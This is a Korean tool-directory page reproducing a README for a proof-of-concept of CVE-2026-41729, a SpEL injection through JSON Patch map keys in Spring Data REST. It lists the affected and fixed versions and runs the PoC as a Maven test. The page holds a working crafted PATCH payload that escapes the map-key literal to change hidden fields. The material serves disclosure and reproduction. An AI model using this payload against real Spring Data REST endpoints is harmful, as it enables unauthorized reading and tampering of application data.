Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-41729 — CVE-2026-41729 PoC | Kitploit
도구/GitHubGitHub/daehyuh/cve-2026-41729
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubdaehyuh/cve-2026-41729

CVE-2026-41729

CVE-2026-41729 PoC

저장소 보기
22개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-41729: Spring Data REST JSON Patch Map Key SpEL Injection PoC

이 저장소는 Spring 공식 보안 권고문으로 공개된 CVE-2026-41729의 최소 재현 PoC입니다.

  • 공식 권고문: https://spring.io/security/cve-2026-41729/
  • 공식 제목: Spring Data REST SpEL Injection via Map Key in JSON Patch
  • 심각도: High
  • CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
  • 공개일: 2026-06-09

취약점 요약

Spring Data REST가 JSON Patch 요청 (Content-Type: application/json-patch+json)을 처리할 때, map-typed property의 map key 경로 조각을 SpEL 표현식에 직접 삽입하는 문제가 있었습니다.

공식 권고문 기준으로, persistent entity가 Map 타입 속성을 노출하고 공격자가 해당 item resource에 PATCH 요청을 보낼 수 있으면, map key segment를 조작해 의도된 map indexer literal 밖으로 빠져나가 aggregate root 컨텍스트에서 SpEL sub-expression을 평가하게 만들 수 있습니다. read patch path와 write patch path가 모두 영향받는 것으로 공개되었습니다.

이 PoC는 그중 write patch path를 사용해, 일반 REST 표현에서는 노출되지 않는 @JsonIgnore 필드가 crafted JSON Patch path로 변경되는 것을 보여줍니다.

영향 범위

공식 권고문 기준 영향 제품:

  • Spring Data REST

영향 버전:

  • 3.7.0 - 3.7.19
  • 4.3.0 - 4.3.16
  • 4.4.0 - 4.4.14
  • 4.5.0 - 4.5.11
  • 5.0.0 - 5.0.5
  • 더 이상 지원되지 않는 이전 버전도 영향 가능

수정 버전:

  • 3.7.20
  • 4.3.17
  • 4.4.15
  • 4.5.12 또는 4.5.11.1
  • 5.0.6 또는 5.0.5.1

이 PoC가 보여주는 것

테스트는 실제 Spring Boot 애플리케이션을 띄우고 Spring Data REST repository endpoint에 HTTP PATCH 요청을 보냅니다.

도메인 객체는 다음 구조를 가집니다.

  • 외부에 노출되는 people map
  • 각 Person 안에 존재하지만 Jackson/Spring Data REST 표현에서는 숨겨진 hiddenChildren map

일반 REST 응답에서는 hiddenChildren과 내부 값이 보이지 않습니다.

root@kitploit:~
GET /wrappers/sample

직접 숨겨진 속성을 지정하는 JSON Patch는 거부됩니다.

root@kitploit:~
PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a/hiddenChildren/b/name",
    "value": "after"
  }
]

하지만 crafted map key를 사용하면 Spring Data REST의 JSON Patch path -> SpEL path 변환 과정에서 의도된 map key literal을 벗어나 숨겨진 속성 경로로 이어질 수 있습니다.

root@kitploit:~
PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a'].hiddenChildren['b/name",
    "value": "after"
  }
]

취약 버전에서는 이 요청이 성공하고 내부 값이 다음처럼 바뀝니다.

root@kitploit:~
before -> after

테스트는 map에 a'].hiddenChildren['b라는 실제 key가 생성된 것이 아니라, 표현식 breakout 때문에 숨겨진 property path가 수정되었음을 확인합니다.

실행 방법

Windows:

root@kitploit:~
.\mvnw.cmd test

macOS/Linux:

root@kitploit:~
./mvnw test

취약 버전 기준 기대 결과:

root@kitploit:~
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS

테스트 성공은 "취약 동작이 재현되었다"는 의미입니다. 즉, 취약한 의존성에서는 crafted JSON Patch 요청이 성공하면서 숨겨진 내부 상태 변경을 증명합니다.

사용한 의존성

이 저장소는 Spring Boot 3.5.14 parent를 사용하며, 해당 조합에서 spring-data-rest-webmvc 4.5.11이 해석됩니다. 이는 공식 권고문의 영향 범위인 4.5.0 - 4.5.11에 포함됩니다.

왜 위험한가

Spring Data REST endpoint에 JSON Patch 요청을 보낼 수 있는 공격자는 map key를 조작해 서버 측에서 의도하지 않은 SpEL 경로 평가를 유도할 수 있습니다. 그 결과, 애플리케이션이 REST 표현으로 노출하지 않으려 한 객체 그래프의 내부 값이 읽히거나 수정될 수 있습니다.

공식 권고문은 기밀성 및 무결성 영향을 High로 평가했습니다.

Credit

공식 Spring 권고문에는 다음과 같이 기재되어 있습니다.

  • Daehyun Kang (@daehyuh)

참고 링크

  • Spring 공식 권고문: https://spring.io/security/cve-2026-41729/
  • CVSS calculator: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N&version=3.1
도구 다운로드